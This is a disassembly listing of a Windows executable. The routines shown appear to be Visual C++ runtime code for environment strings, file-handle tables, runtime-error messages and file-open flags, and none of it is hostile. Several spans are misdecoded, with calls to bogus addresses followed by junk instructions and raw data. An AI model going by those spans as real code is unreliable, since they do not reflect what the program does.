loc_42349D:				; CODE XREF: sub_423320+162j
		movzx	edx, dl
		test	ds:byte_4DF421[edx], 4
		jz	short loc_4234AC
		inc	eax
		inc	dword ptr [ecx]


loc_4234AC:				; CODE XREF: sub_423320+17Bj
					; sub_423320+187j
		inc	dword ptr [ecx]


loc_4234AE:				; CODE XREF: sub_423320+15Ej
		inc	eax
		jmp	loc_42340C
; ---------------------------------------------------------------------------


loc_4234B4:				; CODE XREF: sub_423320+148j
					; sub_423320+153j ...
		test	esi, esi
		jz	short loc_4234BC
		and	byte ptr [esi],	0
		inc	esi


loc_4234BC:				; CODE XREF: sub_423320+196j
		inc	dword ptr [ecx]
		jmp	loc_4233DA
; ---------------------------------------------------------------------------


loc_4234C3:				; CODE XREF: sub_423320+BDj
					; sub_423320+D5j
		test	edi, edi
		jz	short loc_4234CA
		and	dword ptr [edi], 0


loc_4234CA:				; CODE XREF: sub_423320+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423320	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234D4	proc near		; CODE XREF: seg000:0041DBD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4DE09C
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42803C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423522
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423503
		mov	ds:dword_4DE09C, 1
		jmp	short loc_42352B
; ---------------------------------------------------------------------------


loc_423503:				; CODE XREF: sub_4234D4+21j
		call	ds:dword_428040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4235FD
		mov	ds:dword_4DE09C, 2
		jmp	loc_4235B1
; ---------------------------------------------------------------------------


loc_423522:				; CODE XREF: sub_4234D4+19j
		cmp	eax, 1
		jnz	loc_4235AC


loc_42352B:				; CODE XREF: sub_4234D4+2Dj
		cmp	esi, ebx
		jnz	short loc_42353B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4235FD


loc_42353B:				; CODE XREF: sub_4234D4+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423550


loc_423542:				; CODE XREF: sub_4234D4+73j
					; sub_4234D4+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423542
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423542


loc_423550:				; CODE XREF: sub_4234D4+6Cj
		sub	eax, esi
		mov	edi, ds:dword_428180
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4235A1
		push	ebp
		call	sub_41B6C5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4235A1
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_42359D
		push	[esp+18h+var_8]
		call	sub_41B2A1
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_42359D:				; CODE XREF: sub_4234D4+B9j
		mov	ebx, [esp+18h+var_8]


loc_4235A1:				; CODE XREF: sub_4234D4+99j
					; sub_4234D4+A8j
		push	esi
		call	ds:dword_428044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4235FF
; ---------------------------------------------------------------------------


loc_4235AC:				; CODE XREF: sub_4234D4+51j
		cmp	eax, 2
		jnz	short loc_4235FD


loc_4235B1:				; CODE XREF: sub_4234D4+49j
		cmp	edi, ebx
		jnz	short loc_4235C1
		call	ds:dword_428040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4235FD


loc_4235C1:				; CODE XREF: sub_4234D4+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4235D1


loc_4235C7:				; CODE XREF: sub_4234D4+F6j
					; sub_4234D4+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4235C7
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4235C7


loc_4235D1:				; CODE XREF: sub_4234D4+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4235E7
		xor	esi, esi
		jmp	short loc_4235F2
; ---------------------------------------------------------------------------


loc_4235E7:				; CODE XREF: sub_4234D4+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_41C500
		add	esp, 0Ch


loc_4235F2:				; CODE XREF: sub_4234D4+111j
		push	edi
		call	near ptr 0B10000h
		scasd
		mov	eax, esi
		jmp	short loc_4235FF
; ---------------------------------------------------------------------------


loc_4235FD:				; CODE XREF: sub_4234D4+39j
					; sub_4234D4+61j ...
		xor	eax, eax


loc_4235FF:				; CODE XREF: sub_4234D4+D6j
					; sub_4234D4+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4234D4	endp

; ---------------------------------------------------------------------------


loc_423606:				; CODE XREF: seg000:0041DBC2p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423626
		push	1Bh
		call	sub_41DC49
		pop	ecx


loc_423626:				; CODE XREF: seg000:0042361Cj
		mov	ds:dword_4DE1E0, esi
		mov	ds:dword_4DE2E0, 20h
		lea	eax, [esi+100h]


loc_42363C:				; CODE XREF: seg000:00423658j
		cmp	esi, eax
		jnb	short loc_42365A
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_4DE1E0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_42363C
; ---------------------------------------------------------------------------


loc_42365A:				; CODE XREF: seg000:0042363Ej
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0B70004h
		add	al, 66h
		cmp	dword ptr [esp+42h], 0
		jz	loc_423736
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423736
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423690
		mov	esi, eax


loc_423690:				; CODE XREF: seg000:0042368Cj
		cmp	ds:dword_4DE2E0, esi
		jge	short loc_4236EA
		mov	edi, offset dword_4DE1E4


loc_42369D:				; CODE XREF: seg000:004236E0j
		push	100h
		call	sub_41B6C5
		test	eax, eax
		pop	ecx
		jz	short loc_4236E4
		add	ds:dword_4DE2E0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4236BB:				; CODE XREF: seg000:004236D5j
		cmp	eax, ecx
		jnb	short loc_4236D7
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4236BB
; ---------------------------------------------------------------------------


loc_4236D7:				; CODE XREF: seg000:004236BDj
		add	edi, 4
		cmp	ds:dword_4DE2E0, esi
		jl	short loc_42369D
		jmp	short loc_4236EA
; ---------------------------------------------------------------------------


loc_4236E4:				; CODE XREF: seg000:004236AAj
		mov	esi, ds:dword_4DE2E0


loc_4236EA:				; CODE XREF: seg000:00423696j
					; seg000:004236E2j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423736


loc_4236F0:				; CODE XREF: seg000:00423734j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42372D
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_42372D
		test	cl, 8
		jnz	short loc_42370F
		push	eax
		call	near ptr 0B10000h
		pop	edi
		test	eax, eax
		jz	short loc_42372D


loc_42370F:				; CODE XREF: seg000:00423702j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4DE1E0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_42372D:				; CODE XREF: seg000:004236F5j
					; seg000:004236FDj ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4236F0


loc_423736:				; CODE XREF: seg000:0042366Bj
					; seg000:00423677j ...
		xor	ebx, ebx


loc_423738:				; CODE XREF: seg000:0042379Bj
		mov	eax, ds:dword_4DE1E0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423793
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423753
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_42375D
; ---------------------------------------------------------------------------


loc_423753:				; CODE XREF: seg000:0042374Cj
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_42375D:				; CODE XREF: seg000:00423751j
		push	eax
		call	near ptr 0B90004h
		pop	es
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423782
		push	edi
		call	near ptr 0BB0004h
		xor	al, 85h
		sal	byte ptr [esp+ecx+25h],	0FFh
; ---------------------------------------------------------------------------
		dd 89000000h, 2F8833Eh
; ---------------------------------------------------------------------------
		jnz	short loc_423788


loc_423782:				; CODE XREF: seg000:00423769j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_423788:				; CODE XREF: seg000:00423780j
		cmp	eax, 3
		jnz	short loc_423797
		or	byte ptr [esi+4], 8
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_423793:				; CODE XREF: seg000:00423744j
		or	byte ptr [esi+4], 80h


loc_423797:				; CODE XREF: seg000:00423786j
					; seg000:0042378Bj ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423738
		push	ds:dword_4DE2E0
		call	near ptr 0BD0004h
		hlt
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4237BC	proc near		; DATA XREF: seg000:0041DB5Do
					; sub_42227D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_42385C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4237EF:				; CODE XREF: sub_4237BC+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423855
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423843
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423843
		js	short loc_42384E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CD64
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CDA6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CE3A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423843:				; CODE XREF: sub_4237BC+40j
					; sub_4237BC+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4237EF
; ---------------------------------------------------------------------------


loc_42384E:				; CODE XREF: sub_4237BC+54j
		mov	eax, 0
		jmp	short loc_423871
; ---------------------------------------------------------------------------


loc_423855:				; CODE XREF: sub_4237BC+36j
		mov	eax, 1
		jmp	short loc_423871
; ---------------------------------------------------------------------------


loc_42385C:				; CODE XREF: sub_4237BC+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CDA6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423871:				; CODE XREF: sub_4237BC+97j
					; sub_4237BC+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4237BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CDA6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423894	proc near		; CODE XREF: sub_41DC49+9p
					; sub_41DC6E+9p
		mov	eax, ds:dword_4DDF30
		cmp	eax, 1
		jz	short loc_4238AB
		test	eax, eax
		jnz	short locret_4238CC
		cmp	ds:dword_43CF54, 1
		jnz	short locret_4238CC


loc_4238AB:				; CODE XREF: sub_423894+8j
		push	0FCh
		call	sub_4238CD
		mov	eax, ds:dword_4DE0A0
		pop	ecx
		test	eax, eax
		jz	short loc_4238C1
		call	eax


loc_4238C1:				; CODE XREF: sub_423894+29j
		push	0FFh
		call	sub_4238CD
		pop	ecx

locret_4238CC:				; CODE XREF: sub_423894+Cj
					; sub_423894+15j
		retn
sub_423894	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4238CD	proc near		; CODE XREF: sub_41DC49+12p
					; sub_41DC6E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43F868


loc_4238E0:				; CODE XREF: sub_4238CD+20j
		cmp	edx, [eax]
		jz	short loc_4238EF
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_43F8F8
		jl	short loc_4238E0


loc_4238EF:				; CODE XREF: sub_4238CD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_43F868[esi]
		jnz	loc_423A1D
		mov	eax, ds:dword_4DDF30
		cmp	eax, 1
		jz	loc_4239F7
		test	eax, eax
		jnz	short loc_423920
		cmp	ds:dword_43CF54, 1
		jz	loc_4239F7


loc_423920:				; CODE XREF: sub_4238CD+44j
		cmp	edx, 0FCh
		jz	loc_423A1D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0B10000h
		push	1375C085h
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C0A0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B1D0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_42399A
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B1D0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B7E0
		add	esp, 10h


loc_42399A:				; CODE XREF: sub_4238CD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C0A0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C0B0
		lea	eax, [ebp+var_A0]
		push	offset asc_428C10 ; "\n\n"
		push	eax
		call	sub_41C0B0
		push	ds:off_43F86C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C0B0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_4250D1
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423A1D
; ---------------------------------------------------------------------------


loc_4239F7:				; CODE XREF: sub_4238CD+3Cj
					; sub_4238CD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43F86C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0B10000h
		inc	ebp
		push	eax
		call	near ptr 0B10000h
		inc	ebx


loc_423A1D:				; CODE XREF: sub_4238CD+2Ej
					; sub_4238CD+59j ...
		pop	esi
		leave
		retn
sub_4238CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A20	proc near		; CODE XREF: sub_423C7E:loc_423DF6p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DE1E0


loc_423A2F:				; CODE XREF: sub_423A20+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423A6C
		lea	edx, [eax+100h]


loc_423A3B:				; CODE XREF: sub_423A20+28j
		cmp	eax, edx
		jnb	short loc_423A5B
		test	byte ptr [eax+4], 1
		jz	short loc_423A4A
		add	eax, 8
		jmp	short loc_423A3B
; ---------------------------------------------------------------------------


loc_423A4A:				; CODE XREF: sub_423A20+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423AAF


loc_423A5B:				; CODE XREF: sub_423A20+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DE2E0
		jl	short loc_423A2F
		jmp	short loc_423AAF
; ---------------------------------------------------------------------------


loc_423A6C:				; CODE XREF: sub_423A20+13j
		mov	esi, 100h
		push	esi
		call	sub_41B6C5
		test	eax, eax
		pop	ecx
		jz	short loc_423AAF
		add	ds:dword_4DE2E0, 20h
		lea	ecx, ds:4DE1E0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423A92:				; CODE XREF: sub_423A20+88j
		cmp	eax, edx
		jnb	short loc_423AAA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423A92
; ---------------------------------------------------------------------------


loc_423AAA:				; CODE XREF: sub_423A20+74j
		shl	edi, 5
		mov	ebx, edi


loc_423AAF:				; CODE XREF: sub_423A20+39j
					; sub_423A20+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423A20	endp


; =============== S U B	R O U T	I N E =======================================



sub_423AB5	proc near		; CODE XREF: sub_423C7E+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4DE2E0
		push	edi
		jnb	short loc_423B15
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DE1E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423B15
		cmp	ds:dword_43CF54, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423B0B
		sub	eax, 0
		jz	short loc_423B02
		dec	eax
		jz	short loc_423AFD
		dec	eax
		jnz	short loc_423B0B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423B05
; ---------------------------------------------------------------------------


loc_423AFD:				; CODE XREF: sub_423AB5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423B05
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: sub_423AB5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423B05:				; CODE XREF: sub_423AB5+46j
					; sub_423AB5+4Bj
		call	near ptr 0B10000h
		push	esi


loc_423B0B:				; CODE XREF: sub_423AB5+36j
					; sub_423AB5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423B29
; ---------------------------------------------------------------------------


loc_423B15:				; CODE XREF: sub_423AB5+Cj
					; sub_423AB5+28j
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9
		or	eax, 0FFFFFFFFh


loc_423B29:				; CODE XREF: sub_423AB5+5Ej
		pop	edi
		pop	esi
		retn
sub_423AB5	endp

; ---------------------------------------------------------------------------


loc_423B2C:				; CODE XREF: sub_41DC92+7Cp
		mov	ecx, [esp+4]
		push	esi
		cmp	ecx, ds:dword_4DE2E0
		push	edi
		jnb	short loc_423B8F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DE1E0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_423B8F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_423B8F
		cmp	ds:dword_43CF54, 1
		jnz	short near ptr loc_423B84+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423B7C
		dec	ecx
		jz	short loc_423B77
		dec	ecx
		jnz	short near ptr loc_423B84+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423B7F
; ---------------------------------------------------------------------------


loc_423B77:				; CODE XREF: seg000:00423B6Dj
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423B7F
; ---------------------------------------------------------------------------


loc_423B7C:				; CODE XREF: seg000:00423B6Aj
		push	eax
		push	0FFFFFFF6h


loc_423B7F:				; CODE XREF: seg000:00423B75j
					; seg000:00423B7Aj
		call	near ptr 0B10000h


loc_423B84:				; CODE XREF: seg000:00423B64j
					; seg000:00423B70j
		sub	eax, 0C83078Bh
		xor	bh, bh
		xor	eax, eax
		jmp	short loc_423BA3
; ---------------------------------------------------------------------------


loc_423B8F:				; CODE XREF: seg000:00423B38j
					; seg000:00423B56j ...
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9
		or	eax, 0FFFFFFFFh


loc_423BA3:				; CODE XREF: seg000:00423B8Dj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423BA6	proc near		; CODE XREF: sub_41DC92+32p
					; sub_41DC92+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4DE2E0
		jnb	short loc_423BCE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4DE1E0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_423BCE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_423BCE:				; CODE XREF: sub_423BA6+Aj
					; sub_423BA6+23j
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_423BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_423BE3	proc near		; CODE XREF: sub_41DD70+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4DE2E0
		jnb	short loc_423C2C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_4DE1E0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423C2C
		push	eax
		call	sub_423BA6
		pop	ecx
		push	eax
		call	near ptr 0B10000h
		pop	esi
		test	eax, eax
		jnz	short loc_423C21
		call	ds:dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_423C23
; ---------------------------------------------------------------------------


loc_423C21:				; CODE XREF: sub_423BE3+34j
		xor	eax, eax


loc_423C23:				; CODE XREF: sub_423BE3+3Cj
		test	eax, eax
		jz	short locret_423C39
		mov	ds:dword_4DDEB8, eax


loc_423C2C:				; CODE XREF: sub_423BE3+Aj
					; sub_423BE3+22j
		mov	ds:dword_4DDEB4, 9
		or	eax, 0FFFFFFFFh

locret_423C39:				; CODE XREF: sub_423BE3+42j
		retn
sub_423BE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_423C3A	proc near		; CODE XREF: sub_41F263+32p
					; sub_41F7AA+6Cp ...

arg_0		= dword	ptr  4

		inc	ds:dword_4DDF8C
		push	1000h
		call	sub_41B6C5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423C63
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423C74
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: sub_423C3A+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423C74:				; CODE XREF: sub_423C3A+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_423C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423C7E	proc near		; CODE XREF: sub_41F54D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423CA4
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA4:				; CODE XREF: sub_423C7E+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423CAF:				; CODE XREF: sub_423C7E+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423CC9
		test	ch, 40h
		jnz	short loc_423CC5
		cmp	ds:dword_4DE1B0, eax
		jz	short loc_423CC9


loc_423CC5:				; CODE XREF: sub_423C7E+3Dj
		or	[ebp+var_1], 80h


loc_423CC9:				; CODE XREF: sub_423C7E+38j
					; sub_423C7E+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423D01
		dec	eax
		jz	short loc_423CF8
		dec	eax
		jz	short loc_423CEF


loc_423CDA:				; CODE XREF: sub_423C7E+9Fj
					; sub_423C7E+E8j ...
		mov	ds:dword_4DDEB4, 16h
		mov	ds:dword_4DDEB8, ebx
		jmp	loc_423F14
; ---------------------------------------------------------------------------


loc_423CEF:				; CODE XREF: sub_423C7E+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423D08
; ---------------------------------------------------------------------------


loc_423CF8:				; CODE XREF: sub_423C7E+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423D08
; ---------------------------------------------------------------------------


loc_423D01:				; CODE XREF: sub_423C7E+54j
		mov	[ebp+var_C], 80000000h


loc_423D08:				; CODE XREF: sub_423C7E+78j
					; sub_423C7E+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423D36
		cmp	eax, 20h
		jz	short loc_423D2D
		cmp	eax, 30h
		jz	short loc_423D24
		cmp	eax, 40h
		jnz	short loc_423CDA
		mov	[ebp+var_10], esi
		jmp	short loc_423D39
; ---------------------------------------------------------------------------


loc_423D24:				; CODE XREF: sub_423C7E+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423D39
; ---------------------------------------------------------------------------


loc_423D2D:				; CODE XREF: sub_423C7E+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423D39
; ---------------------------------------------------------------------------


loc_423D36:				; CODE XREF: sub_423C7E+90j
		mov	[ebp+var_10], ebx


loc_423D39:				; CODE XREF: sub_423C7E+A4j
					; sub_423C7E+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423D83
		jz	short loc_423D7E
		cmp	ecx, ebx
		jz	short loc_423D7E
		cmp	ecx, edi
		jz	short loc_423D75
		cmp	ecx, 200h
		jz	short loc_423D9C
		cmp	ecx, 300h
		jnz	loc_423CDA
		mov	[ebp+var_8], 2
		jmp	short loc_423DAC
; ---------------------------------------------------------------------------


loc_423D75:				; CODE XREF: sub_423C7E+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423DAC
; ---------------------------------------------------------------------------


loc_423D7E:				; CODE XREF: sub_423C7E+D0j
					; sub_423C7E+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423DAC
; ---------------------------------------------------------------------------


